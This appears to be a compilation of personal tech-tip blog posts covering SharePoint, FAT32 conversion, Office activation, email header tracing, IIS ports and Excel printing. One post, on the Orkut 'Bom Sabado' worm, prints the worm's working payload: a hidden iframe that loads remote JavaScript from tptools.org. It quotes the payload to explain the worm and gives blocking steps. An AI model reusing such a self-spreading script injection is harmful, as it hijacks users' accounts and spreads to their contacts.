HTTP error 503 error occurred

1:28 PM Technology Enthusiast 0 Comments

The Cause
IIS shows that the following SharePoint application pools were stopped:

• Sharepoint - 80
• SecurityTokenServiceApplicationPool
• SharePoint Central Administration v4

The application pools could be restarted without any issues but when attempting to open Central Administration or a site collection again, the same HTTP error 503 error occurred and the associated application pool and SecurityTokenServiceApplicationPool had once again stopped.
IIS event logs contained numerous occurrences of the three events shown below, all associated to the Windows Process Activation Service (WAS):

The warning with the Event ID 5021 highlighted the issue which was confirmed to be associated to the service accounts defined as the application pool identities NOT having Batch Logon Rights on the Application/WFE server. (Web Front End)

Batch Logon Rights
As part of the initial Farm configuration process, the service accounts associated to various SharePoint application pools (including those listed above) are added to the IIS_IUSRS local group on the Application/WFE server.  By default, IIS 7.0 allows the local IIS_IUSRS group batch logon rights through local policy which therefore provides the service accounts defined as the application pool identities the required permissions on the Application/WFE server through membership of the group.
Having looked at the local policy ‘ Log on as a batch job ’ through Server Manager (Administrative Tools > Local Security Policy > Security Settings > Local Policies > User Rights Assignment), I was able to verify that the local IIS_IUSRS group was not listed in the security settings for the policy.

What Happened?
At some point between the Application/WFE server being added to the domain and the SharePoint 2010 installation completing, a domain group policy had taken effect which overwrote the permissions applied by the SharePoint configuration process and removed the IIS_USERS local group from the local policy; ‘Log on as a batch job’.  In talking to my client’s IT team, it transpired that the domain group policy had been created to enforce permissions on the local policy to satisfy a requirement of the backup software they’re using.

Why Log on as a batch job is required?

For tasks to be run by the Task Scheduler, Windows requires that the account have "Log on as a batch job" permissions. These permissions are automatically assigned. But our domain group policy had taken effect which overwrote the permissions applied by the SharePoint configuration process and removed the IIS_USERS local group from the local policy.

The Resolution
To resolve the issue, either:

• Add the service accounts defined as the application pool identities to the domain group policy enforced on the Application/WFE server or…
• Create a new policy that overrides the domain policy or…
• Remove the policy in question and give the IIS_IUSRS local group permissions back via local policy

In this case, or we can create a new domain group policy that applied to the Application/WFE server giving the service accounts permissions to the ‘Log on as a batch job’

Fix “The file is too large for the destination file system” Error

3:32 PM Technology Enthusiast 0 Comments

                                                

Today, I decided to move off some of my Virtual Machine files to the My Book and clear up some of my hard disk. So I switched it on, plugged it in and tried to copy and paste it into the disk…

Windows tells me the file is too large for the destination file system. Bu-wha-? My virtual hard disks is over 4GB…but I checked! My Book had over 350GB free space! , I thought it was read-only thing (resetting it did nothing),

The darn thing was formatted in FAT32. Did you know FAT32 doesn’t accept files larger than 4GB? Now WHY a 500GB storage space is formatted in FAT32 is beyond me!

But now, I’ve got a dilemma.

1) if this was a new disk, I’d be able to reformat it (Right clicking the Drive in My Computer and Format)

2) but I got data, … luckily, on a Windows, you can convert your disk on the fly!

a) Run the command prompt as Administrator (Start->Command Prompt->Right-click->Run as Administrator)

b) At the command prompt, type

C:\Users\Nabeel>convert f: /fs:ntfs /nosecurity

where f: is the drive of your external hard disk.

fixed in 2 minutes.

UPDATE: When prompted to “Enter the current volume label for drive [Drive Letter Here]“, if your drive has a label, you need to enter it (e.g. “My Passport” without the quotations). If your drive doesn’t have a label, just press the enter key for blank.

To find the volume label (if there is one specified), go to ‘My Computer’, right-click the drive you’re trying to convert, select Properties. In the General tab, the volume label is the name in the first field.

C:\Users\Nabeel>convert f: /fs:ntfs /nosecurity
The type of the file system is FAT32.
Enter current volume label for drive H: My Book
The volume is in use by another process. Chkdsk
might report errors when no corruption is present.
Volume My Book created 1/31/2010 2:23 PM
Volume Serial Number is XXXX-XXXX
Windows is verifying files and folders...
File and folder verification is complete.
Windows has checked the file system and found no problems.
x44,136,352 KB total disk space.
x28 KB in 4 hidden files.
x44 KB in 17 folders.
x,063,072 KB in 63 files.
x41,072,576 KB are available.

x2,768 bytes in each allocation unit.
x,629,261 total allocation units on disk.
x,343,518 allocation units available on disk.

Determining disk space required for file system conversion...
Total disk space: x44196001 KB
Free space on volume: x41072576 KB
Space required for conversion: 369647 KB
Converting file system
Conversion complete

How To Enter MAK Key In Office 2010 to Activate Office Professional Plus 2010 Applications

10:50 AM Technology Enthusiast 0 Comments

today I will tell you how to activate your installed office 2010 beta with the MAK [ Multiple Activation Key ] Key which will activate all the hidden features of office professional plus 2010 beta. This key will make office 2010 beta to run till October and after it you will need to buy office 2010 to upgrade to final version if office 2010 and continue working with it.

This is how you can activate office 2010 beta with the MAK Key you got at the time of download of office 2010 beta from Microsoft site.

1. Run Office 2010 Beta Word, Now click the File Tab and Select Help, and click the link Change Product Key

[ click the image above to enlarge ]

Now Enter the beta product key you got while downloading office 2010 beta

Now click continue and then customize button on the next dialog screen which appears, then it will configure office 2010 beta to register with the key you just entered.

once the process is complete, it will ask you to restart the running applications of office 2010 beta.

That’s it done, click close button and restart the office 2010 beta word and navigate again to File >> Help now you will see the message saying Product Activated

Solution for Orkut worm Bom Sabado

9:17 PM Technology Enthusiast 0 Comments

Today orkut users were flooded with scraps telling Bom Sabado!. Unlike other malware, this doesn't need you to click a link. Just by opening Orkut profile of the affected user, you will be affected. So I suggest you not to use orkut till this problm is fixed.

 

How it works?
When any one open page that is infected by this worm. A JavaScript will run automatically. Your browser will be hanged for some minutes on seconds. That script will automatically join you his communities. here you can see links of these communities.

After joining communities it will send scrap to your friends with text “Bom Sabado!” with a iFrame code which load that JavaScript again for your friends and they will join communities and send links to their friends.

With scrap “Bom Sabado!” it loads a small iFrame code.

Please find the find the Source of scrap below

<iframe style="display:none" onload="a = document.createElement( &#39;script&#39;);a.src = &#39;/&#39; + &#39;/tptools.o&#39;+&#39;rg/worm.js&#39;+&#39;#&lt;wbr&gt;#&#39;; document . body . appendChild( a )"></iframe>Bom Sabado!

It load JavaScript form ((..http..//tptools.org/worm.js – This site has been Suspended now)))…

Solution for now
Delete your cookies.
Change your password.

However, if you are already affected, you can get rid of this using the following steps. (This is applicable only for Firefox users. If you are using any other browser, see below):

Download AdBlock Plus add-on for Firefox and install it.

• Restart the browser to enable AdBlock.
• You will see a red icon with ABP on the right hand side of the search box in Firefox.

  

• Click on that, and select Preferences.
• Click Add Filter and enter *tptools.org/*.

Now you can safely open orkut.

You may have to remove yourself from the communities added by the worm, such as saadzin, meu miguxinho, O vírus que contagia, Eu tenho um grande AMOR, Juizo eu TENHO, só não USO!, Dino ♥ etc.

Note: The "Old Orkut" users are not affected by this worm, and are safe.
If you are not using Firefox, then you can follow the following steps:
Update: The website tptools.org is down now. Orkut is beautiful, again :-)

If you have a browser other than firefox, or to ensure that site won't get accessed by any other way, you can edit hosts file and adding the following lines:

127.0.0.1 tptools.org
127.0.0.1 www.tptools.org

hosts file is found in:

• C:\Windows\ - Windows 95, 98, Me
• C:\WinNT\system32\drivers\etc\ - Windows NT, 2000, XP Pro
• C:\WINDOWS\System32\drivers\etc\ - Windows XP Home, Vista, 7
• /etc/ - Linux

How to Trace an Email originating location

8:47 PM Technology Enthusiast 0 Comments

Here’s a quick guide on how you can track email to it’s originating location by figuring out the email’s IP address and looking it up. I have found this to be quite useful on many occasions for verification purposes since I receive lots of emails due to my blog. Tracking the IP address of an email sender does require looking at some technical details, so be ready to dig your heels in! There are basically two steps involved in the process of tracking an email: find the IP address in the email header section and then look up the location of the IP address. Finding the IP address of an email sender in GMail, Yahoo Mail, and Outlook Let’s go ahead and take a look at how you would do this for Google, Yahoo and Outlook since those are the most popular email clients. Google’s Gmail 1. Log into your account and open the email in question. 2. Click on the down arrow that’s to the right of the Reply link. Choose Show Original from the list. AOL For AOL: Log in to your AOL account. Open the message you'd like to view headers for. In the 'Action' menu, select View Message Source. The full headers will appear in a new window. Excite Webmail For Excite: Log in to your Excite account. Open the message you'd like to view headers for. Click the View Full Headers icon located on the right of the 'From:" line. The full headers for all of your messages will appear in a new window. Hotmail For Hotmail: Log in to your Hotmail account. Select Inbox from the left-side menu. Right-click the message you'd like to view headers for and select View message source. The full headers will appear in a new window. Yahoo! Mail For Yahoo! Mail: Log in to your Yahoo! Mail account. Select the message you'd like to view headers for. Click the Actions dropdown menu and select View Full Header. The full headers will appear in a new window. Email clients For Opera: Open Opera. Click the message you'd like to view headers for so it displays in the window below your inbox. Click Display all headers, across from the To field. The full headers will appear in the window below. Outlook For Outlook 2007: Open Outlook. Open a message. On the Message tab, in the Options group, click the Dialog Box Launcher icon image. In the Message Options dialog box, the headers appear in the Internet headers box. For older versions of Outlook: Open Outlook. Open the message you'd like to view headers for. Click the View menu, and select Options.... The full headers will appear in a new window. Outlook Express For Outlook Express: Open Outlook Express. From your inbox, locate the message you'd like to view headers for. Right-click the message, and select Properties. Open the Details tab in the dialogue box. The full headers will appear in the dialogue box

Example..

Step 1: (7/8/2010 12:34:03 PM) User left click on "Show original (menu item)" in "Gmail - An Emergency - - Mozilla Firefox"

Step 2: (7/8/2010 12:34:07 PM) User keyboard input in "Mozilla Firefox" [... Ctrl-C] – Copy selected Contents.

Step 3: (7/8/2010 12:34:15 PM) Open New Tab and go to http://my-addr.com (and there is many websites they do the same.)  then in the left panel you can find Trace Email Finder location. Click on it.

Step 4: (7/8/2010 12:34:17 PM) Paste the Content in text box which you have Copied

Step 5: (7/8/2010 12:34:21 PM) Once you paste the content Click on Button called “GO”

Step 6: (7/8/2010 12:34:28 PM) Now you can see the result down to the test box.

If you need any Assistant please ping me at abdullnabeel@gmail.com

Unexpected Error 0x8ffe2740 Occurred IIS 5.1 on Windows XP

10:15 AM Technology Enthusiast 0 Comments

If you are using IIS 5.1 on XP and are being presented with an "Unexpected Error 0x8ffe2740 Occurred" error message when trying to start your website from the IIS Admin panel, then it is likely that you have a port conflict on your system. That's the easy part, now what do you do to track this conflict down and fix it?

Well, that actually isn't that hard either. By default IIS will try and bind itself to TCP port 80, so the first thing to do is track down which process is binding itself to this port. This could be anything from another web server (such as Apache), or in my case Skype. To do this, open a command prompt window and type in the following;

netstat -anop TCP|find ":80 "
This will give you some details of what process is using TCP port 80, and unless you have a multihomed system you should only get one result here. The only information that you really need to be concerned about is the number that is display on the far right hand side. This is the PID (Process Identifier) which is a unique number given to a process by the system when it is initiated.

The next step is to match this PID with an actual process that you can identify. There are several ways you can do this, but probably the easiest way is to go back to your command prompt window and type this in (where the number 1234 is the PID number from the previous step);

tasklist /SVC /FI "PID eq 1234"
What this will do is associate the PID number you enter with a process name which will be displayed on the far left, and on the far right will be the name(s) of any related services.This should give you a pretty clear picture of what software is binding itself to TCP port 80, and from there it is a matter of either reconfiguring that software to use a different port number or disabling it while IIS is in use. Of course on the flip side you could always reconfigure IIS to use a different port number as well. Either way, you should now be able to take action so you can start your website from the IIS Admin panel.

How to Print Header Row or First Row on Each and Every Page in Excel?

10:15 AM Technology Enthusiast 0 Comments

  While using Excel, most often the contents overflow to multiple pages and you may have the header row on top on the first page and you would have frozen it on top so that when you scroll down the header is still visible. But when you print any Excel sheet, it would be great to have the header row or the first row printed on top of each and every page for better readability. Also see how to print first column or header column on every page in Excel.
So how to print header row or first row on each and every page in Excel?
This tip applies to Office 2010 and Office 2007.
Go to Page Layout and click on the Print Titles under Page Setup.

In the Page Setup, Under Print titles, click the red arrow icon next to Rows to repeat at top.

use the arrow to select the first row or the row that you want to repeat in each and every page that is printed.

Use the red arrow icon again and you will be taken to Page Setup screen. Click Ok.

Enable Row and Column Headings

Also if you want to row headings which says column A, B, C etc or Row headings or number 1,2,3 then you can enable them under Page Layout –> Sheet Options –> Check Print under Headings.

Here in the Print Preview (Use Keyboard shortcut Ctrl +F2) you can see that the first row and the row and column header is being printed on all pages.